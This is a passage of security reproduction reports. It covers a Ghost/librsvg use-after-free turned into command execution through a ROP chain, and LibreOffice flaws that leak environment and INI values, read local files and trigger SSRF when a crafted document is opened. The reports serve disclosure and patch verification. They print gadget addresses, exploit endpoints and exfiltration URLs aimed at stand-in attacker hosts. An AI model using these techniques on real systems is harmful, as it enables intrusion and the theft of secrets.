- **Reproduced impact:** two fresh vulnerable Ghost 6.65.0 processes each received a real authenticated Contributor request to `GET /ghost/api/admin/oembed/?url=http://attacker-rce:8790/&type=bookmark`. Ghost fetched `/` and `/evil.svg` from the attacker server. The 24,410-byte SVG executed a unique attacker-selected shell command in the Ghost process and wrote a unique target-local file under `/tmp`. Both marker files were copied out and their bytes match the unique command arguments. The successful `execve` replaced Node, so each vulnerable container exited cleanly with code 0 and the HTTP connection closed. Two fresh Ghost 6.67.0 controls reached the same endpoint and fetched the identical payload, returned HTTP 200, stayed running, and produced no marker. - **Parity:** **full**. - **Not demonstrated:** no reverse shell was needed because target-local command markers are direct, deterministic evidence of arbitrary command execution. The proof deliberately uses a harmless `echo` command. ## Root Cause librsvg's XML loading layer keeps an `XmlState` entity map shared across recursive parses used for XInclude processing. The outer SVG defines an entity whose replacement text starts another SVG parse via `xi:include`. While libxml2 is expanding that outer entity and retaining its `xmlEntity *`, the included document declares an entity with the same name. Vulnerable librsvg inserts the new declaration into the shared map, replaces the existing map entry, and drops/frees the original approximately 144-byte libxml2 entity object. Control returns to the outer libxml2 parse, which continues reading and writing the freed object. The command-execution payload extends this UAF with a crafted SVG path. A measured amount of text and a specific sequence of path commands reoccupy the stale state with attacker-controlled coordinates. Those IEEE-754 coordinate bit patterns encode a stack-pivot and ROP chain. Ghost's official Node 22.23.3 executable is non-PIE (ELF `EXEC`, build ID `a9b42ba41811e1291145304b7c278c5d3fbaca71`), so its gadget and `execve@plt` addresses are stable despite system ASLR. The Ghost-specific chain uses: - `PIVOT_LOAD = 0x1f35396` (`mov rax, [rdx]; ret`) - `PIVOT_STACK = 0x228f8b8` (`lea rsp, [rax+0x30]; ret`) - `POP_RDI = 0x1201233`, `POP_RAX = 0xe81d9b`, `POP_RSI = 0xf9522e`, `POP_RDX = 0xe386e2` - `STOSQ_RET = 0x12ec8e5`, writable scratch at `0x6b5f500`, and `execve@plt = 0xe38e30` - Ghost/librsvg 2.62.90 layout calibration `BASELINE_PADDING = 22264`, with target path length 1270 The ROP chain writes `/bin/sh`, `-c`, the attacker command, and `argv` into Node's writable data area, then calls `execve`. The successful process exit code 0 is consistent with Node being replaced by `/bin/sh -c 'echo ...'` and the shell finishing successfully. The upstream librsvg fix rejects the duplicate recursive entity condition rather than replacing and freeing the active entity. Ghost 6.67.0 includes the corrected dependency stack. Relevant references: - Ghost advisory: https://github.com/TryGhost/Ghost/security/advisories/GHSA-788w-68h3-cvxp - librsvg advisory: https://rustsec.org/advisories/RUSTSEC-2026-0305.html - librsvg work item/fix context: https://gitlab.gnome.org/GNOME/librsvg/-/work_items/1241 - VectorFreed research: https://github.com/rafabd1/VectorFreed - Public full-chain foundation independently ported to Ghost Node 22: https://github.com/EQSTLab/CVE-2026-94545 ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. Docker, curl, jq, and Python 3 are required on the host. The script uses only immutable image digests. 2. The script: - verifies/pulls exact Ghost 6.65.0 and 6.67.0 images and records the bundled dependency versions; - generates the Ghost Node 22/librsvg 2.62.90 calibrated RCE SVG at runtime; - starts a local attacker-controlled HTTP host serving a bookmark HTML page and `evil.svg`; - starts a local SMTP sink, performs real Ghost first-run setup as Owner, invites the Contributor role through `POST /ghost/api/admin/invites/`, follows the captured invitation token through `POST /ghost/api/admin/authentication/invitation/`, and logs in as the Contributor; - calls `/ghost/api/admin/users/me/?include=roles` with the exact exploit cookie and requires `roles[].name == "Contributor"`; - sends the real authenticated oEmbed bookmark request; - runs two isolated vulnerable attempts and two isolated fixed attempts under the default allocator; - validates unique target-local vulnerable markers, their exact bytes, fixed absence, fixed service health, and attacker-server fetches; - writes strict `bundle/repro/runtime_manifest.json` only after evidence files are immutable. 3. Expected terminal lines: ```text RESULT vuln 1 marker=true status=exited exit=0 http=000 RESULT vuln 2 marker=true status=exited exit=0 http=000 RESULT fixed 1 marker=false status=running exit=0 http=200 RESULT fixed 2 marker=false status=running exit=0 http=200 === CONFIRMED: Ghost 6.65.0 Contributor-to-command-execution RCE; fixed 6.67.0 negative control === ``` The script was executed successfully twice consecutively from clean per-run evidence directories. ## Evidence - `bundle/logs/reproduction_steps.log` — complete final run transcript and all four `RESULT` lines. - `bundle/logs/attacker-rce.log` — four independent Ghost-side rounds, each showing `GET /` followed by `GET /evil.svg`; this proves the remote product fetch boundary for vulnerable and fixed attempts. - `bundle/repro/artifacts/rce/contributor-identity-{vuln,fixed}-{1,2}.json` — response from the authenticated `users/me` endpoint proving the exact exploit session is assigned only the Contributor role. Example: `"roles":[{"name":"Contributor"...}]`. - `bundle/repro/artifacts/rce/oembed-request-{vuln,fixed}-{1,2}.txt` — exact endpoint shape and authenticated-role description. - `bundle/repro/artifacts/rce/marker-vuln-1.txt` and `marker-vuln-2.txt` — unique target-local command outputs. Their trimmed bytes equal the unique markers in the matching state and observation records. - `bundle/repro/artifacts/rce/state-vuln-{1,2}.txt` — `allocator=default`, `contributor_identity_verified=true`, `marker_present=true`, and `container_status=exited exit_code=0`. - `bundle/repro/artifacts/rce/state-fixed-{1,2}.txt` — `marker_present=false`, `container_status=running`, `exit_code=0`, and oEmbed HTTP 200. - `bundle/repro/artifacts/rce/observation-vuln-{1,2}.json` — strict command-capability observations with target path reached and marker present. - `bundle/repro/artifacts/rce/observation-fixed-{1,2}.json` — negative controls with target path reached and marker absent. - `bundle/repro/artifacts/rce/oembed-response-fixed-{1,2}.txt` — normal HTTP 200 bookmark responses from the fixed service. - `bundle/repro/artifacts/rce/versions.txt` — exact Node/sharp/libvips/librsvg/libxml2 versions. - `bundle/repro/runtime_manifest.json` — immutable image identity, endpoint details, runtime stack, proof-artifact list, and SHA-256 mapping. Current-run exploit knowledge was also recorded as control-flow primitive `cbfb8977-bd36-46ee-aeea-b8de835e5e97` and derived command-execution capability `639cc612-c512-44d5-b35b-637daa6ae42f`. ## Recommendations / Next Steps - Upgrade Ghost to 6.67.0 or later. Ensure the effective bundled stack contains sharp >= 0.35.5 and librsvg >= 2.63.2 (or a documented security backport). - If immediate upgrade is impossible, prevent untrusted SVGs from entering bookmark-image rasterization: reject `image/svg+xml`, disable SVG rasterization for bookmark metadata, or isolate image conversion in a strongly sandboxed process without application secrets. - Restrict the oEmbed/bookmark endpoint to trusted roles as defense in depth. Contributor access is enough in the vulnerable release. - Restrict outbound network access from Ghost. This does not remove parser corruption but limits remote payload delivery and callbacks. - Add regression coverage that a nested XInclude document redeclaring an active entity is rejected, does not crash, and does not invoke image conversion side effects. - Test with the real product endpoint and low-privilege role, not only a direct sharp harness. Keep a fixed-version negative control and verify the service remains healthy. ## Additional Notes - **Idempotency:** the script removes and recreates all named containers, its Docker network, runtime work directory, and proof-artifact directory. It was run twice consecutively with the same four-way vulnerable/fixed result. - **Default allocator:** unlike the earlier crash-only reproduction, this complete RCE proof sets no allocator tunables or perturbation variables. - **No sanitizer/instrumentation:** command execution occurs in uninstrumented official Ghost images. No sanitizer or debugger is used by the final proof. - **Local attacker host:** Ghost's production SSRF policy rejects private addresses, so the reproducible no-egress lab sets `NODE_ENV=development` solely to allow the local attacker host. A public attacker host does not need this accommodation; the image parsing and exploit code path are unchanged. - **Build specificity:** the ROP gadget addresses and 22,264-byte layout calibration are specific to the official Ghost 6.65.0 x86-64 image closure. This specificity is normal for a native memory-corruption exploit and is why the script pins the immutable image digest. - **Process exit behavior:** successful `execve` replaces Node with `/bin/sh`. The HTTP response is empty/closed and the container exits 0 after the harmless shell command completes; the unique marker is the success oracle, not a crash code. ### Reproduction - Reproduced: 2026-10-06T13:32:44.452Z - Duration: 9712s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00380 # or: pruva-verify CVE-2026-105642 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00380 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00380/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00380 ================================================================================ ## REPRO-2026-00379: Environment/ini-file leaks — document-supplied URLs expand env and INI values and exfiltrate them to a remote server -------------------------------------------------------------------------------- Status: published Severity: medium Type: security ### Identifiers - REPRO ID: REPRO-2026-00379 - CVE: CVE-2026-63270 (https://nvd.nist.gov/vuln/detail/CVE-2026-63270) ### Package Information - Name: libreoffice/core - Ecosystem: other - Affected: LibreOffice 26.2 series from 26.2 before 26.2.5 - Fixed: 26.2.5 - Severity: medium - CVSS: 6.7 / 10 - CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor (Exposure of Sensitive Information to an Unauthorized Actor) ### Root Cause # CVE-2026-63270 — Root Cause Analysis ## Summary LibreOffice Calc's external data-mapping feature (`calcext:data-mappings`, used by the csv/html/xml/sql "Data Provider" sources) accepts attacker-controlled URLs from a document. In LibreOffice 26.2 up to (and excluding) 26.2.5, the csv data provider fetches such a URL at document-load time without verifying that the URL does not use LibreOffice-internal schemes. A crafted spreadsheet can therefore carry a data-mapping URL like `vnd.sun.star.expand:http://attacker.example/?x=${SECRET_ENV_VAR}` (or `${file\:///path/to/ini.ini:Section:Key}`); when the victim opens the document, the `vnd.sun.star.expand` content provider expands the embedded macro against the *victim's* environment variables and INI/config files, and the resulting URL — now carrying the secret values — is fetched from the remote (attacker) server. The check added for CVE-2024-12426 did not cover the Calc data-provider fetch path, so the expansion was still reachable from document content. ## Impact - **Package/component affected**: `sc/source/ui/dataprovider/dataprovider.cxx` (`DataProvider::FetchStreamFromURL`, used by `sc/source/ui/dataprovider/csvdataprovider.cxx`), plus `sc/source/ui/dataprovider/sqldataprovider.cxx`, `sc/source/core/tool/webservicelink.cxx`, and `forms/source/xforms/model.cxx` (XForms instance data), all reached through document-supplied URLs. - **Affected versions**: LibreOffice 26.2 before 26.2.5 (verified on the official TDF builds 26.2.4.2 and 26.2.5.2). - **Risk level / consequences**: CWE-200 exposure of sensitive information (CVSS 4.0 6.7 MEDIUM). Opening a document silently discloses process environment variables (e.g. tokens, paths) and arbitrary INI/TOML/`.env`-style file values to a remote server. No user interaction beyond opening the document; works in headless conversion scenarios too. ## Impact Parity - **Disclosed/claimed maximum impact**: environment-variable and INI-file values expanded into a document-supplied URL and sent to a remote server on document open (info leak / CWE-200). - **Reproduced impact from this run**: full parity — on opening the crafted `.fods`, the vulnerable product (26.2.4.2) expanded `${PRUVA63270_SECRET}` (process environment variable) and `${file\:///…/secret.ini:Secrets:Token}` (INI-file value) and delivered both expanded values to the attacker-controlled HTTP server in two independent fresh processes; the fixed product (26.2.5.2) delivered nothing. - **Parity**: `full`. - **Not demonstrated**: nothing further — the claim is an info leak and both halves (env var and INI value) were exfiltrated end-to-end. ## Root Cause `ScXMLMappingContext` (ODF import, `sc/source/filter/xml/xmlmappingi.cxx`) reads `calcext:data-mapping` entries from the document and, at context destruction (i.e. during document load), calls `sc::ExternalDataSource::refresh()`, which creates the named provider (`org.libreoffice.calc.csv` → `CSVDataProvider`) and calls `DataProvider::FetchStreamFromURL(maURL, …)`. In the vulnerable version that function performs **no scheme validation**: ```cpp std::unique_ptr DataProvider::FetchStreamFromURL(const OUString& rURL, OStringBuffer& rBuffer) { try { // opens ANY url, including vnd.sun.star.expand:... xStream = xFileAccess->openFileRead( rURL ); ``` `openFileRead` goes through UCB, whose `ExpandContentProvider` (`ucb/source/ucp/expand/ucpexpand.cxx`) handles the `vnd.sun.star.expand:` scheme by macro-expanding the remainder of the URL (`util::theMacroExpander` → `rtl_bootstrap_expandMacros_from_handle`). The bootstrap macro language supports: - `${NAME}` → looked up via `Bootstrap_Impl::getAmbienceValue` → `osl_getEnvironment` (process environment variable), - `${ini_file:Section:Key}` → `osl::Profile(ini_file).readString(...)` (arbitrary INI-like file read). The expanded result (e.g. `http://attacker/?token=SECRET-VALUE`) is then opened as a real URL, exfiltrating the value. The fix for CVE-2024-12426 (24.8.4) added "internal scheme" checks only in other code paths; the Calc data providers, the WEBSERVICE-function link, and XForms instance data still fed document-supplied URLs straight to UCB. **Fix commit** (in 26.2.5): `c3355f20dcd5956116819ae4f2f843014407cf4d` — "don't bother loading exotic protocols for document-supplied data" — adds `INetURLObject(sURL).IsExoticProtocol()` refusal checks in `forms/source/xforms/model.cxx` (`Model::loadInstance`), `sc/source/core/tool/webservicelink.cxx`, `sc/source/ui/dataprovider/dataprovider.cxx` (`FetchStreamFromURL`), and `sc/source/ui/dataprovider/sqldataprovider.cxx`. `INetURLObject::IsExoticProtocol()` (tools/source/fsys/urlobj.cxx) classifies `vnd.sun.star.expand` as an exotic/internal scheme. Related hardening in the same release: `49c3c4e59c48` puts data mappings under link-update control, and `a6fb1b10bb1a` restricts providers on document load. ## Reproduction Steps 1. Script: `bundle/repro/reproduction_steps.sh` (self-contained; run with `bash`). 2. What it does: - Installs missing X/GLib runtime libraries, downloads the official TDF builds `LibreOffice_26.2.4.2` (vulnerable) and `LibreOffice_26.2.5.2` (fixed control) `Linux_x86-64_deb.tar.gz` from `downloadarchive.documentfoundation.org` (checksum-pinned) and unpacks them. - Starts a local HTTP listener (the stand-in for the attacker's remote exfiltration server) on an ephemeral loopback port and health-checks it. - Crafts, per attempt, a flat-ODS spreadsheet containing two `calcext:data-mapping` entries (`org.libreoffice.calc.csv` provider): one URL `vnd.sun.star.expand:http://127.0.0.1:PORT/env?token=${PRUVA63270_SECRET}` and one URL `vnd.sun.star.expand:http://127.0.0.1:PORT/ini?value=${file\:///…/secret.ini:Secrets:Token}`, each referencing a registered `table:database-range` as required by the import code. - Opens the crafted document in the real product with a fresh user profile and a unique per-attempt secret for both the environment variable and the INI file value, in six isolated attempts: two `soffice --headless --convert-to ods` conversions and one direct viewer open (`soffice --headless `) on the vulnerable 26.2.4.2 build, plus the same two conversion attempts and one direct open on the fixed control 26.2.5.2. - Captures the listener's request lines per attempt (finalized per-attempt `exfil-capture.txt`), stops the listener, and writes `bundle/repro/runtime_manifest.json`. 3. Expected evidence: in all three vulnerable attempts (convert and direct open) the listener receives `GET /env?token=` and `GET /ini?value=`; in all three fixed attempts the listener receives nothing for those tokens. ## Evidence - Per-attempt captures: `bundle/repro/proof//exfil-capture.txt` (plus `crafted.fods`, `secret.ini`), run logs `bundle/logs/attempts/.log`, full listener transcript `bundle/logs/server-access.log`, script log `bundle/logs/reproduction_steps.log`. - Key excerpt (every vulnerable attempt, convert and direct open alike): ``` GET /env?token=PRUVA-CVE-2026-63270-vulnerable-1-ENV- HTTP/1.1 GET /ini?value=PRUVA-CVE-2026-63270-vulnerable-1-INI- HTTP/1.1 ``` Fixed attempts: no matching requests at all (empty per-attempt captures). - Identity: vulnerable soffice reports `buildid=0229ac93fcf0d7cbc6376066c6f35021cef002dc` (= tag `libreoffice-26.2.4.2`, CVE-affected); fixed control `buildid=cd7284b4cbbfeb507e630c1aac019f4157393acb` (= tag `libreoffice-26.2.5.2`). - Environment: Ubuntu 26.04 x86_64, product installed from official TDF debs, headless Calc open/convert path (`--convert-to ods`) as the document-open entry point. ## Recommendations / Next Steps - Upgrade to LibreOffice ≥ 26.2.5 (or 26.8.0), where document-supplied URLs with internal schemes (`vnd.sun.star.expand` etc.) are refused by `IsExoticProtocol()` checks at every document-supplied-URL sink, and data mappings refresh only under explicit link-update control. - Defense-in-depth: treat all document-supplied URLs as untrusted input at a single, central validation point (allow-list of external schemes) rather than per-sink checks; consider not resolving macros for any document-origin URL. - Testing: the upstream `sc/qa/unit/data/dataprovider/mappinggate.fods` style documents can be extended with `vnd.sun.star.expand:` mapping URLs to assert they are refused on load in both the csv and sql providers and in XForms instance data. ## Additional Notes - Idempotency: the script is re-runnable; cached tarballs are checksum-verified and reused, per-attempt proof dirs are recreated, and a fresh listener port is chosen each run. It was executed twice consecutively with identical confirming results (all vulnerable attempts leaked both values, all fixed attempts leaked nothing, exit 0 both times). - The XForms instance-data variant (also fixed by `c3355f20dcd5`) was not separately reproduced; the Calc csv data-provider path (`calcext:data-mappings`) is one of the two named document surfaces and fully demonstrates the vulnerability class. - The INI exfiltration requires the `file\:///` (escaped file-URL) macro form because `osl_openProfile` expects a file URL; a plain path silently expands to empty. - Exfiltration target is a loopback listener standing in for the attacker server; the fetch itself is a plain outbound HTTP request, so a real remote host behaves identically. ### Reproduction - Reproduced: 2026-10-06T05:22:37.687Z - Duration: 4023s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00379 # or: pruva-verify CVE-2026-63270 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00379 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00379/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00379 ================================================================================ ## REPRO-2026-00378: LFI and GET SSRF via GStreamer and HLS playlists — linked media makes GStreamer read local files and fetch remote URLs on open -------------------------------------------------------------------------------- Status: published Severity: medium Type: security ### Identifiers - REPRO ID: REPRO-2026-00378 - CVE: CVE-2026-63269 (https://nvd.nist.gov/vuln/detail/CVE-2026-63269) ### Package Information - Name: LibreOffice/core - Ecosystem: unknown - Affected: LibreOffice before 26.2.5 (26.2 line) and before 26.8.0; vulnerable baseline 26.2.4.x - Fixed: 26.2.5 - Severity: medium - CVSS: 6.7 / 10 - CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) ### Root Cause # CVE-2026-63269 — Root Cause Analysis ## Summary LibreOffice documents can contain *linked* audio/video media objects (ODF `draw:plugin` inside a `draw:frame`, e.g. an Impress `MediaShape`). On Linux, LibreOffice plays such media through its `avmedia` GStreamer backend. In vulnerable versions, merely **opening** a document causes LibreOffice to hand the linked media URL to GStreamer's `playbin`, which resolves and prerolls the stream without any user interaction or link-update consent. If the linked media is an HLS playlist (`.m3u8`), GStreamer's `hlsdemux` follows every URI listed in the playlist — including `file://` URIs naming local files and `http(s)://` URLs naming arbitrary remote hosts — so a crafted document makes the victim's machine read local files and issue attacker-directed GET requests simply by being opened. ## Impact - **Package/component affected:** LibreOffice (avmedia GStreamer backend, `libavmediagst.so`; document media shapes in Impress/Draw). - **Affected versions:** LibreOffice < 26.2.5 / < 26.8.0 (reproduced on the TDF 26.2.4.2 Linux x86-64 deb build). - **Risk level and consequences:** Medium (CVSS 6.7 per advisory). Remote, unauthenticated attacker delivers a document; on open, the victim's LibreOffice performs: - **LFI:** local files named in the playlist are opened and read by GStreamer (`filesrc`), and their contents can end up in the document (per the advisory), enabling file disclosure. - **GET SSRF:** arbitrary remote URLs listed in the playlist are fetched from the victim host (here: `GStreamer souphttpsrc` HTTP requests), reaching internal/loopback services. ## Impact Parity - **Disclosed/claimed maximum impact:** LFI + GET SSRF via GStreamer following a document-linked HLS playlist (`expected_impact=ssrf`, surface `viewer_document`, entrypoint `open_document`). - **Reproduced impact from this run:** Full LFI + GET SSRF on document open through the real product (LibreOffice Impress 26.2.4.2 under Xvfb): the attacker HTTP server received the playlist GET and the SSRF segment GET from `GStreamer souphttpsrc`, and `strace` captured the soffice/GStreamer process tree opening the local secret file referenced by a `file://` playlist entry. Two independent vulnerable attempts reproduced both effects; two fixed-version (26.2.5.2) attempts fetched nothing at all. - **Parity:** `full` - **Not demonstrated:** exfiltration of the local file's *contents* back to the attacker (the advisory's "contents could end up in the document" leg); the local read itself and the remote fetch are both proven. ## Root Cause LibreOffice's media shape (`SdrMediaObj` / `avmedia::MediaWindow`) creates a GStreamer `playbin` for the persisted linked-media URL as soon as the slide containing the media object is displayed — which happens during document load for the first page — and sets it to the paused/preroll state to render a preview frame. Prerolling an HLS playlist makes `hlsdemux` download the manifest and then fetch every fragment URI it lists. Neither LibreOffice nor GStreamer restricted: 1. the scheme of fragment URIs inside a playlist served over HTTP (`file://` entries are honored by `filesrc`), or 2. the remote URLs a playlist can direct the player to (any `http(s)://` target is fetched by `souphttpsrc`). Additionally, linked media was loaded automatically on document open without being subject to LibreOffice's link-update consent. **Fix (LibreOffice 26.2.5 / 26.8.0, by Caolán McNamara):** per the advisory, "LibreOffice does not follow playlists that name further resources, and linked media is under link update control." In this run's negative control, the fixed 26.2.5.2 build did not even fetch the playlist when opening the same crafted document (linked media now requires link-update consent, suppressed in an unattended open), and a fortiori never followed playlist-listed resources. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; safe to re-run). 2. What it does: - Installs runtime deps (`xvfb`, `strace`, GStreamer good/bad/libav plugins) and downloads/extracts the official TDF deb builds LibreOffice 26.2.4.2 (vulnerable) and 26.2.5.2 (fixed) into the prepared project cache. - Generates a valid MPEG-TS fragment (so playback genuinely proceeds through the playlist instead of erroring on undecodable bytes). - For each attempt (2 vulnerable + 2 fixed), it: - starts a local "attacker" HTTP server (python3) that logs every request and serves `/stream.m3u8`; - writes an HLS playlist listing one remote URL (`http://127.0.0.1:PORT/ssrf-segment--.ts` — the SSRF probe) and one local file (`file://.../lfi-secret.txt` — the LFI probe); - generates a crafted ODP whose slide 1 contains a linked media object (`draw:plugin` with `draw:mime-type="application/vnd.sun.star.media"`) pointing at the playlist; - opens the document with the real `soffice` under Xvfb, tracing `openat()` with `strace -f`; - records playlist GETs, segment GETs, and local-file opens. 3. Expected evidence of reproduction: - Vulnerable attempts: `http.log` shows `GET /stream.m3u8` **and** `GET /ssrf-segment-...` with User-Agent `GStreamer souphttpsrc`; `lfi-evidence.txt` shows `openat(... "lfi-secret.txt" ...) = `. - Fixed attempts: neither the playlist nor the segment is fetched and the secret file is never opened. ## Evidence - Full run log: `bundle/logs/reproduction_steps.log` (run 1) and `bundle/logs/reproduction_steps_run2.log` (run 2). - Per-attempt proof under `bundle/repro/proof/-/`: - `http.log` — attacker-server request log, e.g. vulnerable-2: `GET /stream.m3u8 ua=GStreamer souphttpsrc 1.28.2 libsoup/3.6.6` followed by `GET /ssrf-segment-vulnerable-2.ts` (same UA). - `lfi-evidence.txt` — strace excerpt, e.g. vulnerable-1: `openat(AT_FDCWD, ".../proof/vulnerable-1/lfi-secret.txt", O_RDONLY) = 40`. - `stream.m3u8` — the exact playlist served; `soffice.log` — product stderr. - Machine-readable manifest with artifact hashes: `bundle/repro/runtime_manifest.json`. - Verdict: `bundle/repro/validation_verdict.json`. - Environment: Ubuntu 26.04 x86_64, LibreOffice 26.2.4.2 TDF deb (tarball sha256 `810ef197…4b9900`) vs LibreOffice 26.2.5.2 TDF deb (tarball sha256 `2f03bfb2…1bed1e`), GStreamer 1.28.2, Xvfb display, no sanitizers — real product binaries exercised through the real document-open path. ## Recommendations / Next Steps - Upgrade to LibreOffice ≥ 26.2.5 / ≥ 26.8.0 (fixed). - The fix approach per the advisory: do not follow playlists that name further resources in the media backend, and put linked media behind link-update consent. - Testing: open a document with a linked-media HLS playlist referencing `file://` and remote URLs; assert no outbound requests and no local file opens occur without explicit link-update consent. ## Additional Notes - **Idempotency:** the script was run twice consecutively; both runs produced the confirmed verdict (2/2 vulnerable attempts positive, 2/2 fixed attempts negative each run). Downloads/extractions are cached in the prepared project cache and reused across runs; proof directories are regenerated per run. - **Document format detail:** the ODF media link must use `draw:mime-type="application/vnd.sun.star.media"`; using an HLS-specific MIME type makes the ODF importer drop the URL (verified by round-tripping through the vulnerable build itself). The structure was derived from a reference document created programmatically via UNO (`com.sun.star.drawing.MediaShape.MediaURL`). - **Limitations:** content exfiltration of the read file into the saved document was not needed to prove the claim ("local file reads and remote fetches") and was not attempted; the read and fetch primitives are demonstrated directly. ### Reproduction - Reproduced: 2026-10-06T05:22:31.669Z - Duration: 7181s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00378 # or: pruva-verify CVE-2026-63269 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00378 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00378/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00378 ================================================================================ ## REPRO-2026-00377: LFI via calcext:data-mappings, sql provider and sdbc:flat file db href — document reads a local text file into the sheet -------------------------------------------------------------------------------- Status: published Severity: medium Type: security ### Identifiers - REPRO ID: REPRO-2026-00377 - CVE: CVE-2026-63268 (https://nvd.nist.gov/vuln/detail/CVE-2026-63268) ### Package Information - Name: LibreOffice/core - Ecosystem: Maven - Affected: LibreOffice versions before 26.2.5 / 26.8.0 that restore persisted data-provider links on document load; 26.2.4.2 confirmed as last vulnerable release - Fixed: 26.2.5 - Severity: medium - CVSS: Unknown - CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) ### Root Cause # CVE-2026-63268 — LFI via calcext:data-mappings, sql provider and sdbc:flat:file:// db href (LibreOffice Calc) ## Summary LibreOffice Calc persists external data-source links (`calcext:data-mappings`) inside ODS documents and restores them when the document is opened. In vulnerable versions the restoration is performed for *every* provider named in the document, including the unfinished `org.libreoffice.calc.sql` provider. On load, that provider parses the saved `calcext:id` as `table@database`, resolves the `database` component through `sdb::DatabaseContext` (which interprets an arbitrary unregistered name as a URL and loads it), connects to the resulting database and copies the result of `SELECT * FROM ` into a named database range of the sheet. Because an attacker can make that database resolve to an odb that names a **folder of local text files** as a `text/csv` file-based database — i.e. an `sdbc:flat:file://` connection URL handled by the flat Text/CSV SDBC driver, which exposes every text file in the folder as a table — merely opening the crafted ODS reads a local victim text file into the sheet (Local File Inclusion / information disclosure). ## Impact - Package/component affected: `sc` (LibreOffice Calc), external data mapping import/restore path: `sc/source/filter/xml/xmlmappingi.cxx` (`ScXMLMappingContext`), `sc/source/ui/dataprovider/sqldataprovider.cxx` (`SQLFetchThread`), `dbaccess` `ODatabaseContext::getByName`/`loadObjectFromURL`, `connectivity` flat (Text/CSV) SDBC driver. - Affected versions: LibreOffice before 26.2.5 / 26.8.0 (verified on the official `LibreOffice 26.2.4.2` deb build `0229ac93fcf0d7cbc6376066c6f35021cef002dc`). - Fixed versions: LibreOffice 26.2.5 / 26.8.0 (verified on the official `LibreOffice 26.2.5.2` deb build `cd7284b4cbbfeb507e630c1aac019f4157393acb`). - Risk level and consequences: Medium (advisory severity). Reading any local text file readable by the victim user into the document. The disclosed content is under attacker layout control inside the sheet (attacker-chosen destination range), so in the classic scenario — a document that is later saved and returned to the sender, or a screenshot/preview — the local file contents are disclosed to the attacker. ## Impact Parity - Disclosed/claimed maximum impact: local text file contents read into the sheet through a document-named `sdbc:flat:file://` database href (info leak / LFI), no code execution claimed. - Reproduced impact from this run: **full parity**. Both fresh vulnerable product attempts read a unique per-attempt secret from a local victim file (`$HOME/victim_secrets/secretfile`) into the sheet; the leaked marker is present in the sheet exported by the product (`repro/proof/vulnerable-*/leaked-sheet.csv`). Both fixed product attempts opened the same document and did not leak (the document-named `sql` mapping was ignored and the attacker-hosted odb was never even fetched over HTTP). - Parity: `full`. - Not demonstrated: nothing beyond the claim (no code execution, no memory-safety corruption involved in this issue). ## Root Cause 1. `ScXMLMappingContext` (`sc/source/filter/xml/xmlmappingi.cxx`) imports every `calcext:data-mapping` element and — in vulnerable versions — inserts an `sc::ExternalDataSource` for **whatever provider the document names**, then its destructor calls `ExternalDataSource::refresh(pDoc, true)`. 2. `DataProviderFactory::getDataProvider` maps `org.libreoffice.calc.sql` to `SQLDataProvider`, which parses the saved `calcext:id` as `table@database` and resolves `database` through `sdb::DatabaseContext::getByName`. 3. `ODatabaseContext::getByName` (dbaccess) **interprets an unregistered name as a URL** and calls `loadObjectFromURL`, so an attacker-chosen odb URL becomes a live data source. The crafted odb declares ``, which LibreOffice maps (Drivers.xcu `sdbc:flat:*` → MediaType `text/csv`) to the connection URL `sdbc:flat:file://` — the document-named `sdbc:flat:file://` db href. 4. The flat Text/CSV SDBC driver treats every text file in that folder as a database table, so `SELECT * FROM "secretfile"` returns the contents of the victim's local text file, which `ScDBDataManager::WriteToDoc` copies into the document's named database range (`calcext:database-name`). 5. Fix commit: `104d2b4f5dae917661b20b18d5d2043fca4407e4` ("sc: only build the supported data providers when loading a document", vulnerable parent `b389e707d3a80ea7156808387fe6a2b1602c49d0`). The fix makes `ScXMLMappingContext` ignore any provider other than `org.libreoffice.calc.{csv,html,xml}`; the sql provider is explicitly excluded because it was never finished and was dropped from the Data Provider dialog (tdf#169079). ## Reproduction Steps 1. Reference: `bundle/repro/reproduction_steps.sh` (self-contained; run twice in this session with identical results). 2. What the script does: - Installs missing runtime libraries, downloads and unpacks the official released deb builds `LibreOffice 26.2.4.2` (vulnerable) and `LibreOffice 26.2.5.2` (fixed control) from the Document Foundation archive (cached under `bundle/repro/cache/`, SHA-256 recorded in the logs). - Writes a fresh victim secret `$HOME/victim_secrets/secretfile` containing a unique per-attempt marker. - Builds the attacker `evil.odb` that names the victim's folder as a `text/csv` file-based database (`sdbc:flat:file://` db href) and hosts it on an attacker HTTP server (localhost, unique port per attempt). - Crafts the attack ODS: a product-generated seed document plus a named database range and a `calcext:data-mapping` with `calcext:provider="org.libreoffice.calc.sql"`, `calcext:id="secretfile@http://127.0.0.1:/evil.odb"`, `xlink:href="sdbc:flat:file://"`, `calcext:database-name="leakrange"`. - Runs **two clean vulnerable** and **two clean fixed** product attempts: each opens the crafted ODS through the real document-open path with an isolated fresh user profile (`-env:UserInstallation=...`), converts the document to CSV, and records per-attempt transcripts, the attacker HTTP access log, the exported sheet, and a strict JSON observation. - Writes `bundle/repro/runtime_manifest.json` with the concrete proof artifacts and their SHA-256 digests. 3. Expected evidence of reproduction: - `repro/proof/vulnerable-{1,2}/leaked-sheet.csv` contain the unique per-attempt secret marker (local file content read into the sheet), e.g. `CVE-2026-63268-vulnerable-1-LEAKED-SECRET-MARKER-...,do-not-exfiltrate`. - `repro/proof/vulnerable-{1,2}/http-server.log` show LibreOffice itself fetching the attacker-hosted odb (`GET/HEAD /evil.odb` from the product beyond the script's single healthcheck GET). - `repro/proof/fixed-{1,2}/leaked-sheet.csv` contain only the seed cells (`a,b / 